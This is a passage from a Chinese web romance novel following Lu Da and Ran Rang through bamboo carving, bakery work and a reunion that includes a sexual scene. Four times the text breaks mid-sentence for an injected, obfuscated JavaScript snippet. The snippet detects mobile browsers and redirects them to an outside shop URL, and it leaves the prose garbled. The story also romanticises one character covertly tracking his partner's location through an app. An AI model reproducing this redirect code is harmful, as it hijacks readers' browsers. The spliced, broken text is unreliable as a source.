但又好像只是一个新学期的开始,和往常上学也没什么区别。多了些什么,少了些什么,常乐说不清楚。 常乐只是像以往每次出门前,朝着门里挥挥手告别:“拜拜。” 她还很小,并未像哥哥一样真正明白失去。她只是在想,总有一天,他们会回来的。 那一天或许是几年后,也或许是很久以后,但总有一天,她和哥哥会再次推开这扇门,来领回阔别已久的小熊。 *** 办完全部转学手续,正是中午,卢答领着两个人去吃了饭,还逛了逛周围的店铺。 常乐买完文具,看见展示架上挂着小竹片,刻了莲花图案,表面触手光滑,莲花凹凸起伏,她不禁拿下来细看。 店主见她喜欢,凑过来笑着解释:“小妹妹,这个可用了传统竹刻技术,从亓乡来的哦。” 丘市的邻市亓乡多竹,竹编竹刻技艺发达,闻名遐迩,在全国都有名。 常乐捧着小竹片给常安和卢答看,常安点点头:“好看。” 店主还想继续给她介绍,却突然卡词了:“这是那边竹刻里的留、留什么技术来着……” 一旁的卢答也顺手拿下一截小竹片,仔细地对着光看:作为批量制造的产品,虽稍显粗糙,但非常可爱,荷花上的蜻蜓意趣横生。 卢答替店主补充:“留青。” 他顺畅地介绍下去:“传统竹刻概念广泛,包含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344676|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留青、竹簧、浮雕等技艺,留青是指在竹表面的竹青上画出雕刻对象,铲去其余部分,只保留图案所在竹青的技艺。” “喏,”卢答指给常乐看:“莲花的表面这层就是竹青。你看,这里通过铲去的不同厚薄程度,还能表现出虚实交界的感觉,这也是留青的特色之一。” 店主目光亮亮,拍了拍卢答的肩头,赞许道:“你很懂嘛小伙子!” 常乐的目光也亮亮:“卢答哥哥你真的什么都懂诶。”常安也点点头表示赞同。 卢答笑着摆摆手,他对着比自己矮的长者时总是习惯性地微微弯腰,微卷的发梢随动作在纤细的颈后,愈发显得颈玲珑白皙。 提到自己喜欢的事,他笑得温柔,笑容间又藏着一点小小的骄傲:“专业相关,刚好学过一点啦。” 店主不知是被他的态度打动,还是被他的脸打动,大手一挥,给三个人每人都送了个小竹片。 卢答道谢,翻找了一会儿,挑了个小狗竹片,又买了些文具才离开。 * 买完东西,卢答一边把兄妹俩送进校门,一边谆谆善诱:“在学校要和新同学好好相处啊,有事的话第一时间联系陈助理……” 未说完,卢答也觉得自己话多,有点无奈地笑了一下,止住话头,只各自拍了下两个人的肩:“去吧。” 兄妹手牵手走了,卢答平生第一次体会到家长的心情,看着常安常乐远去的背影,卢答想,妈妈第一次送自己上学时,也会是这样的心情吗? 若有若无的怅然、无法抑制的担忧。 卢答叹了口气,把思绪收回来,蹬上自行车,准备回面包店去看看冉让的第一天打工成果。 但他刚踩上脚蹬,就有了个新来电。 卢答停下车,看着来电人,瞳孔微微放大,接了起来。电话一接通,卢答难得急切,甚至不等对面开口:“喂,是王老师旅游回来了吗?” 对面应了,又交代了几句,方才和卢答挂了电话。 打完电话,卢答神情里有掩饰不住的高兴,他性格外向,但情绪少有这么丰沛外露的时刻,眼睛弯弯,眉弯弯,酒窝钉在脸上下不来似的。 要是冉让在,就会知道这是他极其高兴的表现。 卢答看看天色,又看看导航,在附近找了个地方把自行车停了,打了个车。 上车时,司机还再三确认了一番地址:“小伙子,你确定是桑县吗?那地方可不近咧。” 桑县是位于丘市边缘的县城,已经快出丘市地界了。一般人去,很少花大价钱打车,而是坐专门往返的大巴。 但卢答等不了那么久,只点点头:“是去桑县,师父您放心开吧,之后返程也要麻烦您了。” 左右他已经包车了,师父便一脚油门上路,只是还在疑惑:“桑县也没啥好玩的啊小伙子,哪值得你这么大老远去。” 卢答坐在后座,弯弯眼睛,把话题岔开了去。 桑县经济不发达,也没什么出名景点,但它毗邻亓乡,竹子也多。 最重要的是,还有隐居养老的留青大师。 16. 定位软件 面包店里常年都弥漫着一种甜香,仿佛黄油、砂糖在搅拌时就和面粉产生了奇妙的化学反应一样。 烤箱运作时发出细微的轰隆声,烘烤出一种暖融融、温馨的气氛,暖橘色的顶灯,又为这香气添了具象的色泽。 店铺里的装潢偏暖色,每天擦拭的玻璃柜使里面排列整齐的可颂闪闪发亮,色泽诱人。 盐可颂是店里的热卖款,走进来的顾客总会在结账前再往托盘里夹一个。 新一批盐可颂出炉,冉让用一只手端到柜旁,一只手滑开柜门,然后戴上手套补货。 杨舒文在旁边整理着货架,看着冉让娴熟的动作,满意地点点头。 第一次补货时,冉让的动作还生疏得紧,但他学东西的速度快得出人意料,飞速上了手,几天后不管干什么都像模像样了。 此时,冉让微微弓着腰调整展示柜里可颂的位置,眉习惯性地攒着,下三白眼眼尾下撇,是带着口罩也能看出的立体长相。 他冷凝的脸与旁边蓬松柔软的面包并不太搭,或者说,冉让就算穿着粉色围裙,沉肃冷凝的长相和气场都与甜点不搭。 店里有结伴来的女孩窃窃私语。 “他是新店员吗?” “应该是吧,看着好凶……” “之前那个笑眯眯的漂亮店员不干了吗?” “我上周来的时候他还在的。” “想念漂亮店员,他真的很好,不管有多忙,都会帮我挑烤最饱满的面包,嘿嘿。” 即使听到自己成为讨论的中心,冉让的神情也没有丝毫变化,他的耳朵自动过滤掉对话内容,下三白眼只专注地盯着可颂。 直到听到“漂亮店员”这几个关键词,他耳尖才轻微动了动,开始光明正大偷听。 听到卢答被赞美,他也与荣有焉地勾勾唇角:这是卢答会干的事,帮顾客仔细地挑选最符合她眼缘的面包。 卢答就是这样好。 而仅仅只是这样几句简短的对话,他也开始情不自禁地想念卢答。 女孩和女伴一起挑选着面包,浑然不觉自己的说话声越来越大,嘻嘻哈哈:“你说这个会好吃吗?” “没吃过,你买个尝尝。欸,其实仔细看,新店员挺帅的,就是看着太凶了。” “对对,感觉你走路上撞到他,他会用眼神把你杀死。” 偷听的冉让嘴角一抽。 听她们越说越夸张,杨舒文不知道从哪儿冒出来,神出鬼没地突然道:“太夸张啦,其实帅哥人很好的,只是长得凶了点。” 她笑眯眯:“他也很会挑面包哦,你们不如试试看?” 胡侃被抓包,两个女生红了脸,一迭声地说抱歉,尴尬极了。 冉让看了杨舒文一眼,心里有点诧异,没想到她会替自己说话。 毕竟面试当店员那天,他听到了杨舒文在和卢答偷偷咬耳朵,问卢答:“我们是正经面包店吗?我说的是做正经生意的那一种。” 卢答:。 卢答反问:“不正经的面包店是指?” 杨舒文比划:“就是表面这样实际那样的面包店啊,以卖甜品为幌子,实际上做着沟通黑白两道的生意,小说里都这么写的。” “那你要失望了,”卢答被她这一番话逗笑,看了一眼直挺挺站那里的冉让,更是笑得睫毛乱颤:“我们是名副其实的面包店,干的是打鸡蛋搅面糊的买卖。” 他眼里的揶揄醒目,但眼睛亮闪闪的,连打趣都很俏皮。 冉让喜欢他的笑,收到卢答的信号,轻挑起眉,朝他眨眨眼,做了个口型。 这人…… 卢答瞪了他一眼,也做口型回他:“青天白日,注、意、一、点——” 冉让早有预料他要说什么,无所谓地朝卢答一笑,浓眉挑得落拓潇洒。 冉让转开脸前,见卢答又瞪自己一眼,只是细看耳垂发红。于是冉让脸上融冰一样化出点笑意。 杨舒文不知道他们的眉眼官司,只觉得酷哥突然间就看着好相处了点,她转头再和卢答咕叽咕叽一阵,最后全票通过,大家都同意冉让成为新店员。 * 记忆回笼,冉让捏了捏自己的口罩,走上前,对着她们道:“要什么,我帮你们挑。” 一个女生看着冉让,迟疑道:“呃……”她目光瞥到了旁边的柜台台面,脱口而出:“菠萝包?” 冉让努力地回想卢答是怎么捏着自己的嘴角教自己陌生人礼貌微笑,朝她们笑了一下,问:“这个?烤得刚好。” 只是他并不习惯这样的微笑,又并非发自内心的自然流露,强行牵扯嘴角,反而使人看着更冷冽僵硬,奇怪得很。 女生小鸡啄米一样点头,甚至都没看冉让指的面包:“可以的可以的!” 冉让从小就知道自己的长相显凶,习惯了类似的反应,此时也只是在心里轻叹口气,持着夹子夹出那个菠萝包,放到女生的托盘上。 等这两个顾客结账离开,一时间店里也空闲下来。冉让摘了手套,拿出手机,习惯性地点开一个命名为句号的软件。 屏幕上出现的是地图,显示着冉让的定位,角落里还有个白色小点,冉让看着离自己极远的那个白点,摩挲了下屏幕,眼神晦涩。 另一边,杨舒文笑着问从后厨出来的郑萱:“萱姐,小卢什么时候回来上班啊?我昨天打包的时候,还有个大姨问我怎么不见那个白净的小伙子,搞得我都有点想他了。” 卢答最近神出鬼没,郑萱也不知道他什么时候回来,只笑着道:“我看你不是想她了,是想下班了吧。” 杨舒文嘿嘿笑:“这都被你发现啦?可不是嘛,小卢在就可以三班倒了,我能早点下班。” 郑萱道:“你要有事就先走吧,我妈说她晚点跳完舞就过来帮忙。” 杨舒文感叹:“慧姨真的是活力十足,我一时之间都要分不清楚我们谁是二十六岁谁是五十六岁。” 郑萱牵着童童进门时正好听见她这一句感叹,无情地拆穿她:“舒文姐,是你太不爱动了。” 杨舒文懒得理她,去和童童打招呼:“我们童童来啦?哎呦两天没见,想死姐姐了。” 童童点点头,从口袋里摸啊摸,给了杨舒文一小把糖,又走到冉让旁边。 我也有份吗? 冉让有点迟疑地半蹲下来接过:“……谢谢?” 童童看他一眼,小脸上闪过了一丝挣扎,又摸出一小把给冉让。 她脸上的迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344677|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑实在明显,冉让看笑了,那两把糖,放进了自己口袋:“谢谢。” 童童又跑到郑萱旁边,把口袋里的糖全倒出来,分了一半给她:“给妈妈。” 郑萱摸摸她头,装进了包里,她整天都在烤箱旁边,温度太高,奶糖会融化。 杨舒文喜欢逗童童:“剩下的童童一个人吃得完吗,会不会蛀牙呀,要不要再给姐姐分一点?” 童童拍拍口袋,认真道:“剩下的给卢答。” 杨舒文夸她:“我们童童真棒。” 童童有点不好意思地笑了一笑,露出一点米牙。 大家都在惦记卢答,冉让口罩下的唇不自觉地勾了起来,只是又很快放平嘴角。 站在暖黄的灯光下,听着其他人谈论卢答,不知为何,除了思念外,冉让的胸腔里逐渐弥生出另一股他不愿深思也不敢细想的情绪。 冉让刻意地清空思绪,走到货架边道:“我来吧。”杨舒文乐得清闲,转身去摸鱼。 冉让加快了手上的动作,不知不觉间重复调整了好几次价格牌的位置。 * 很快下班,冉让站在门口拉下卷帘门,听见身后的杨舒文在和郑萱、童童告别:“明天见!” 两人向她挥手:“明天见。” 杨舒文见冉让背对着众人,本就高大的身形落进店铺的影子里,更显压抑,想起卢答临走前拜托自己多关照新员工,又叫他:“冉让!” 冉让被这一声叫回神,转头冲杨舒文点点头。 他脸藏在阴影里,杨舒文没看清他的表情,只是感叹冉让真的惜字如金,认识几天,好像一共都没说过几句话。 但杨舒文也不太在意冷淡,朝冉让挥挥手,拧动小电驴把手,一溜烟走了。 冉让见她们都要走了,吸了口气,也准备回家。 “冉让!” 又一声唤,这次是童声。 童童不知道什么时候跑了回来,仰起脸看着冉让。她的眼睛在路灯光下显得又圆又大,黑黢黢,是一双黑白分明的孩子的眼睛。 冉让有点惊讶,还是半蹲下来,问她:“怎么了。” 童童摇摇头,又从口袋里掏出一把糖给他:“要开心。” 小孩子的感知敏锐,即使冉让一天到晚都是这个表情,她也能察觉现在他的情绪并不高涨。 冉让握住那一把糖,有点惊讶,还来不及说什么,童童就转身往远处跑去,郑萱等在那里,朝看过来的冉让挥挥手。 童童跑着,又回头叮嘱冉让:“不要告诉卢答哦。” 她的声音童稚,脆脆的。 冉让握紧手里的糖。 月色疏朗,最近似乎降温了,至少风扑到脸上时发凉。冉让摩挲着口袋里的糖壳,想到卢答,强压下去的思念又卷土重来。 他尝试过规避情绪,也企图假装这焦灼不存在,只是好像没什么用。 他还是非常、非常想卢答。 照常走路回去,冉让没有在路上看手机的习惯,到公寓楼下时,才看了眼手机。 他不抱希望,但手习惯性地点进定位软件,然而这次却意外地看见白色小点定位显示光明公寓,和黑色小点重合在了一起。 卢答回来了。 17. 他是我的 卢答并不知道还有这么多人在惦记自己。他看着面前铺满桌面的竹片只觉得苦恼。 前几天,卢答顺利地在桑乡拜访到了旅游归来的留青大师王子衿。王子衿看过卢答的作品集,很痛快地答应了他想跟随自己学留青的请求。 但她并没有直接开始教学,而是让卢答在桑乡住下,带着他在村里闲逛了两天。 这两天里,王子衿什么技巧都没教授,只让卢答去摸竹子,一边让他好好体会这种触感,一边给他介绍留青的起源以及基本手法。 她讲话本就风趣,不时再说些见闻轶事与典故,卢答也爱看书,时不时和她你来我往聊几句。 她让卢答去摸地里还在拔节的竹,去摸已经砍伐捆扎好的竹,也摸经过煮沸和阴干炮制好的竹片。 最后给了卢答一袋竹片,让他回家练习。 “反正你有基础,”王子衿笑眯眯:“回去先自己摸索摸索吧。” 卢答不解地眨眨眼,但很听话地点点头。他在求教时是诚恳又听话的学生,暂时不明白用意也不会反驳老师。 王子衿送卢答到村口,见他走在自己身侧,落后一步,白净侧脸笑出酒窝。突然若有所思:“你的老师们是不是都很喜欢你?” 卢答想了想,认真回答:“好像是的。” 王子衿:“那也是人之常情。” 毕竟谁会不喜欢好学又有天分还懂礼貌的学生呢? * 回家后,卢答简单布置出工作台,摊开刻刀和锉刀。 他有手上工夫和美术基础,上手很快,刻了半个晚上竹片就初具雏形,只是后续并不顺利,刻坏了好几块竹片。 竹材和他之前用的画纸、金属质感都不同,画纸柔软,自带纹理;金属沉重,触手生凉。 而竹材是有温度的,它初摸上去也是凉的,但这凉又是一种木质的、有生机的,与卢答接触过的木块不同。 竹材的纤理明显,有自己独特的纤维走向。稍有不慎,就会走笔。 卢答此时才知道王子衿让自己摸竹的深意:只有体会过竹真实的硬度、厚度与温度,他才能对这种陌生的材料产生自己的感悟,才有可能使用它来进行全新的创造。 又刻坏一块。 卢答看着面前比起第一块稍有进步的废竹片,揉了揉手腕,叹了口气,把刻刀收了起来,决定今天先练习到这里。 他收拾了一下工作台,洗了个澡,然后慢慢滑到地毯上。 从高强度的聚精会神中抽离出来,卢答精力再高也有些恹恹,整他个人呈大字形瘫在毛毯上,想着冉让。 不知道他这几天在面包店过得怎么样。 正发呆,门外突然响了三声敲门声,一声力度比一声重,但每声间隔的时间又相同,显出浅尝辄止的克制。 啊,冉让。 卢答脑子还没反应过来,身体已经一骨碌爬起来,打开了门。 冉让站在门后,垂着眸看过来,人高大壮实,影子也高大,兜头盖脸地扑到卢答身上。 这是很老的公寓楼了,走廊里的灯时明时暗,艰难地烧着将死的灯芯,在飞蛾的攻势下接连闪烁,像暗哑的求救。 凌晨尚远,但楼里的人多已安歇,今夜又格外静,连虫声也无,静得好像天地间只剩下他们两个人一样。 冉让的脸在光下忽明忽暗,这张脸轮廓鲜明到锋利,眉型英气,下三白眼凶戾,是极具有攻击性的长相,即使他不做任何表情,或只是冷着脸,都有一种锐意,让人不敢直视。 只是卢答知道里面没有恶意,也不存在冷淡。他往里面看时,里面什么都没有,借助着倒灌进楼道里的那片浅淡月光,他看见冉让眼底有海一样的空茫,深深的,但又是透明的。里面只有卢答。 卢答在笑,只是被这样的目光侵蚀着,他的笑容渐渐消失。卢答微歪着头看向冉让,神情里有纯然而不加掩饰的疑惑:“怎么了?” 他穿得很居家,大概刚在地毯上打完滚,本就打卷的头发末梢缠在一起,眼睛睁得圆,仿佛两颗琥珀玻璃珠,显得懒洋洋。 平静,居然有一种天真的平静。时明时暗的灯光坠落在他柔软洁白的脸颊上,像星星在呼吸间不断焕发光芒。 冉让看着这样的神情和脸,突然平静了下来,心里的火山在喷涌前的那瞬间枯竭败北,他慢慢说:“……我有点想你。” 我很想你。 卢答听懂他的言外之意,笑了,伸出手,轻轻覆在冉让脸上:“我也有点想你。” 我也很想你。 卢答的十指白皙修长,像玉一样,指尖有斑驳的细碎伤口,反倒使那种幻觉一样的洁白因其真正存在而更完整。 冉让的目光跟随着他的手,看着他十指虚拢住自己的脸,感受到他指腹的茧,冉让闭上眼,用侧脸在他手中温驯地蹭了蹭。 这样一大只,这么听话。 卢答拍了拍他头:“好乖啊你。” 冉让嗯了一声,偏头亲他指尖。 有点痒,不过卢答没躲,转而挠挠冉让下巴。 大概是卢答的温度顺着指尖传过来,冉让心逐渐定下来,烦躁与茫然如潮水一般褪去,他又重复一遍:“……我有点想你。” 卢答很难抵抗这样的冉让。他歪着头,和冉让对视了半晌,看冉让又有点别扭的模样,咕哝:“看来我也要使用我的第一次暂停权了。” 他向前走了一步,抱住冉让。 卢答其实非常高挑,但不知道为何,在冉让怀抱里就显得很清瘦,白色玉兰的脖颈顺从地依靠在他胸膛上,像鸟类引颈就戮。冉让把手放上去,感觉他在轻微地颤抖。 卢答问:“怎么不开心。” 他要很努力地踮起脚才能抱住冉让,仰起脸时也是小小一张,眼睛亮亮的,鼻头一皱,小痣像一滴褐色的泪水,细细一滴,却四溅在冉让心头。 他捧着冉让的脸,冉让低下头,任由他手挂在自己后颈,两个人视线相对,鼻尖对鼻尖,睫毛错落地扑闪着。 冉让没有回答。 卢答被蹭得很痒,轻轻笑了一下,脆得近于气声,气息悠长。那笑声搔在冉让耳尖,他突然梦醒了似的,重重抱了一把卢答,闭了闭眼睛,把无数情绪压下去,顺势把卢答抱起,推门而入。 * 蒙住眼睛,卢答失去了视觉,他觉得自己化为了一滴水珠,被冉让衔在唇间,滚下他的喉咙,一直坠落到他的胃里,被完全融化了。 他坐在冉让腿上,两人拥抱着,脊背不知何时汗湿,迷蒙的眼睛看着熟悉的屋内,只觉得一切都披上了一层似真似幻的纱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344678|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 或者是幻影,总之是摇摇晃晃的,连带着靠过来的冉让和他的吻也摇摇晃晃。 但又烫,烫得人心慌。 卢答两手也圈不住那种烫,不自觉地轻轻吸着气,冉让在这时候很好说话,并不强求,只是轻吻他耳后,但这更像一种无声的催促。 好吧,好吧,卢答咕哝着,他过于紧张,甚至不知道话没有说出口,只余细碎的颤音滚在喉咙里,逸散在空气中。 蓦地,卢答想起大学时和冉让一起看书。 他们一起趴在毛绒毯上看书,具体看了什么书卢答已经忘记了,只记得书页厚重,他捻动得很艰难,不一会儿手就酸痛,冉让只是撑着手看他,用目光催促他,卢答在那带着戏谑与轻佻的眼神下不敢放松。 “我手好酸。”卢答小声抱怨,他卖娇很可爱,冉让终于妥协。 “那乖一点,宝宝。”冉让叫他,声音低哑,捏了把卢答后颈:“舌头伸出来吃一下,好不好?” 他用着征询的语气,动作却强硬。 冉让亲人凶恶且蛮横,舌头在卢答口腔里攻城略地,手圈住卢答的腰,把他禁锢住,断绝任何一丝卢答逃跑的可能性,而另一只手放置在卢答后颈上,将他压向自己。昏乱中,他带汗的粗糙指腹摩挲过卢答的唇,洇透唇瓣。 那时他们一起看书,屋内灯光明亮,窗外下着雨,暖热潮湿,叮叮咚咚,呜呜咽咽。卢答觉得时空错乱了,不然为什么那场雨声又重新降临在他耳畔,沙沙作响,伴着呜咽,他侧耳细听,才发现雨声来自于自己喉口。 这不同于沉睡时的遭遇,现在的一切都明晰得足够卢答错乱,理智在海浪头间打转,冉让确实是海,无边淹没他,让他在深海底部近于窒息。 卢答全身痉挛,一直在发抖,冉让抱住他,轻轻颠着,在耳边叫他宝宝,轻声哄着他,双臂却牢牢地圈住卢答,以亲密拥抱的姿势。 他夸卢答:“乖宝。” (只是抱抱) 这么近的距离,冉让又闻到了卢答身上弥散出的那暖洋洋、清澈又微苦的橙花香。 这种香气仿佛已经浸泡透了卢答的骨肉,从他的呼吸间流动出来。 洁白的、柔软的、馥郁的。 不再是高中时常伴他身上清新迸溅的柑橘味,成年后的卢答闻起来更醇厚,他待人接物越发周到,但向外求的同时却也在心里藏起了更多的事。 要贴很近、贴很近才能知晓。 冉让想把他揉进自己的骨血里,着迷一般地把头低下去,听卢答急促而有力的心跳,砰砰砰,一下又一下。 卢答在他顶上哭,眼泪落到发顶,像下雨,水滴把冉让的心打着,也一下一下,泛着钝重的爱和痛。 冉让迫切地想知道,这颗心里都藏着什么样的秘密。他想知道卢答的所有:秘密、故事、心情,长期的回忆和片段的记忆他也都想占为己有。即使卢答对他根本没有秘密。 他是我的。 冉让抬起头,目光不加掩饰,直勾勾地贪婪地看着卢答,想,他是我的。 窗外乌云罩住月亮,窗内雨声琳琅,一直未歇。翻涌着。 凌晨已过,而黎明尚早。 他们还有漫长的时间可以拥抱彼此,诉诸爱语,把一切抛在脑后,等第二天再走出门,装作陌生。 18. 蜂蜜面包 隔天,卢答回归面包店,收到了一众人的热烈欢迎。 推开门时,卢答先深深地嗅了一口:几天不闻,还有点想念这种香甜。 柜台上蓬松的圆滚滚面包们挤来挤去,一如既往,杨舒文正在收银台,冉让顶替了卢答的位置,站在柜台旁整理。 卢答的脚步声和别人也没什么区别,但冉让像后脑勺长了眼睛一样,转头看向卢答。 卢答睨他一眼,笑眯眯地和杨舒文打招呼。杨舒文欢呼,给卢答放空气礼花:“欢迎回来上班!” “不应该说好久不见吗,”卢答笑着,唇角的弧度带动酒窝,状似抱怨:“上班听起来好命苦哦。” 卢答一觉睡过午饭点,来的时候正好和冉让交接。冉让脱下围裙,递给卢答。 围裙上还带着他的体温,卢答睨他一眼,但懒得再走几步去隔间拿新围裙,顺应了冉让的小心思。 卢答低头折袖口,末梢卷发一晃一晃。冉让高,这个居高临下的角度能看见卢答后颈。 发梢擦过一块近于淤青的吻痕,再往下,还能看到半圈清晰齿印,另半圈藏在卢答衣领下。 看着这些痕迹,冉让心里很难不升起一丝成功打下记号的满足和自得。 卢答抬起头,就见冉让眼睛亮闪闪地盯着自己,像甜甜圈看最喜欢的肉骨头,一时之间觉得无语。 后腰被冉让用手心的温度熨揉过,但肌肉仍然酸胀,连带着遭受蹂躏太久的唇瓣也涨热。 卢答今早甚至是打车来的。 他走得举步维艰,只觉得浑身上下哪里都痛。不明白为什么冉让还能早起晨跑,完了还能给自己带粥再去上班。 甚至上了大半天班,人仍然是精神百倍的模样。 好嫉妒高精力人士。 卢答瞪冉让一眼,用目光点点门口,示意冉让快走,走得越远越好。 冉让收到他的眼神,顺从地离开,还和杨舒文打了招呼:“再见。” “啊?”之前你走的时候好像也不打招呼啊,杨舒文带着疑惑,稀里糊涂道:“再见。” 冉让走后,两人一边工作一边闲聊。 杨舒文问卢答:“桑乡好玩吗?” 卢答在叠蛋糕盒子:“风景挺好的,就是交通不方便。” 过一会儿,余光瞥到屏幕上显示来新消息了,卢答偷摸着看了一眼杨舒文,滑开锁屏。 【R:粥好喝吗】 卢答已读乱回。 【巧克力几分熟:1】 【R:好喝扣1,换口味扣空气】 【巧克力几分熟:。1】 【R:明天再给你带】 【R:[小猫跳舞.jpg]】 看着这个冉让在自己这里存去的表情包,卢答嘴角勾起。 杨舒文余光注意到卢答在笑:“咋,上班还能笑出来?” 卢答拍拍脸,收起笑容,在心里劝自己:卢答,镇定一点,别让男人的花言巧语乱了道心! * 慕斯和切角蛋糕的总销量比不上面包,不用折太多盒子,卢答把手头的折完,就去给柜台补货。 盐可颂的数量明显少于旁边的碱水包,卢答一边往里头叉新的,一边感叹:“最近盐可颂好受欢迎。” “是呀,”杨舒文道:“蜂蜜小面包也卖很好,毕竟好吃又便宜。”一大袋才卖八块呢。 她示意看卢答看近门左手边的柜台,竹编篮子里摆满了扎好的一袋袋蜂蜜小面包,叠在一起,是隔着塑料袋也能看出的金黄诱人:“哦对,看见这些了吗?你尝尝。” 卢答从旁边的试吃碟里叉起小块,嚼嚼嚼,评价:“好吃。” 内里蓬松柔软又不失韧性,外层糖壳酥脆,面包的清甜和芝麻香在口腔里相撞,甜而不腻。 杨舒文道:“都是冉让做的。” 冉让已经能上手做面包了吗? 卢答有点惊讶,但又不算特别惊讶:毕竟冉让性子直,又负责,从小就是干一行爱一行的典范,卢答觉得他完全值得被颁发一个爱岗敬业奖。 杨舒文道:“本来看他的长相以为他是十指不沾阳春水的少爷,没想到做起来像模像样,上手超级快,我猜他有烘焙基础。” 真正十指不沾阳春水的卢答笑了笑,顺嘴就回:“没,但他会做饭……” 杨舒文耳朵很尖,抓住关键词:“你怎么知道,你吃过?” 卢答才发现自己都脱口而出了什么,紧急找补:“冉让自己说的,哈哈。” 杨舒文的注意力转移到了另一个点上:“不过冉让和你这么熟吗,都聊到这个了,哦对,你还拜托我多照顾他来着。” 卢答否认:“不熟。只是我觉得关爱孤寡邻居,人人有责。” “怎么唱的来着,‘只要人人都献出一点爱,世界将变成美好的人间’。” 杨舒文一针见血:“其实还是因为脸吧。” 在某种程度上,她真相了。 卢答沉默了几秒,思考了一下到底要怎么回答,最后半真半假,索性道:“对的。” 杨舒文拍着胸脯等夸:“你让我多多照顾他,我可是手把手地教他怎么用大烤箱烤出最蓬松暄软的面包。” 卢答哇了一声,给她鼓掌:“我们舒文姐太厉害了,简直是掌控面包的甜品王!” 杨舒文:“过奖过奖。” 郑萱出来打包预订的蛋糕,听笑了:“你们俩一天到晚捧哏什么呢,”她温温柔柔,但讲话犀利非常,“你最近俩月才摸烤箱,我都替在你手里死不瞑目的面包不值,人小冉做的比你好多了。” 杨舒文也是这两个月刚开始跟郑萱学做面包,之前练习烤吐司时始终把握不好,烤出来的面包都进了面包店其他人的肚子。 卢答嘶了口气,也想起了被吐司支配的恐惧,但还在当说客:“萱姐,我认为我们要实习鼓励教育,我觉得舒文姐做的已经进步了很多。” “这倒是,”郑萱点点头,一边给六寸的大蛋糕盒扎上丝带,却话锋一转,“不过你连后厨都不进。” 卢答没想到火还能烧到自己身上,笑着做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344679|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个拉拉链的动作卖乖,对杨舒文表示爱莫能助。 正说话,风铃一响,郑芷牵着童童进来了。 郑萱诧异:“妈呢?怎么是你去接童童。” “她在舞团呢,听说拿奖了,最近要举办什么庆祝大会,忙得那叫早出晚归,根本找不见人,”郑芷感叹,边把腕上的那几串手链和镯子碰得叮铃作响,“郑慧女士是个大忙人啊。” “卢答!” 童童看到卢答,眼睛一亮,蹬蹬跑来,侧身扯开口袋,示意他看。小女孩眼睛圆溜溜的,兴高采烈。 卢答弯腰,探头看了一眼,惊叹:“哇——” 童童很满意他的反应,从口袋里把糖抓出来,五颜六色各式各样的一大把,通通放在卢答手心,大方道:“都给你。” “都给我吗?”卢答蹲下来,有点惊讶地和她确认,又夸她的丸子头可爱,很配今天穿的黄色背带裤。 “全……”童童点点头,不知道想起了什么,摇摇头,又点点头:“全给你。” 卢答不知道她想到了什么,但不妨碍他开心。他站起来,摸了把童童的头:“谢谢童童。” 卢答突然想起自己也带了礼物,忘记给大家了。他转身去拿包,回来先找童童,摊开手给她看。 是条红绳,颜色鲜艳,上面缀着个小竹片,刻着Q版猫咪头,很可爱,用的是留青技术,是卢答从桑乡带回来的纪念品。 卢答蹲下给童童系上,童童珍惜地摸了摸,卢答又捏捏她发包,问:“喜欢吗?” 童童用力点点头。 卢答把给其他人带的纪念品送出去,每个人都不一样:杨舒文是挂件,郑萱是书签,郑芷是串珠。 大家笑着道谢接过来,都很喜欢。郑芷更是直接套上手,捧场至极。 郑萱包好了蛋糕,递给杨舒文,让她去送单,去洗了把手,要回后厨。 中间又来了几波客人,卢答看着柜台上逐渐减少的盐可颂和蜂蜜小面包,想起了什么,叫住她:“萱姐,我想留几个可颂和蜂蜜小面包。” 郑萱让他自取:“你直接拿就好,怎么还用特地说。” 卢答:“钱还是要给的。我今晚去看常安常乐,顺便给他们带点吃的。” 郑萱摆摆手:“那更不能收钱了,这两个孩子和我也挺有缘的。”她自己也有孩子,看到年幼失怙恃的兄妹就忍不住怜惜。 卢答也不强求,拿了托盘和夹子去取面包。 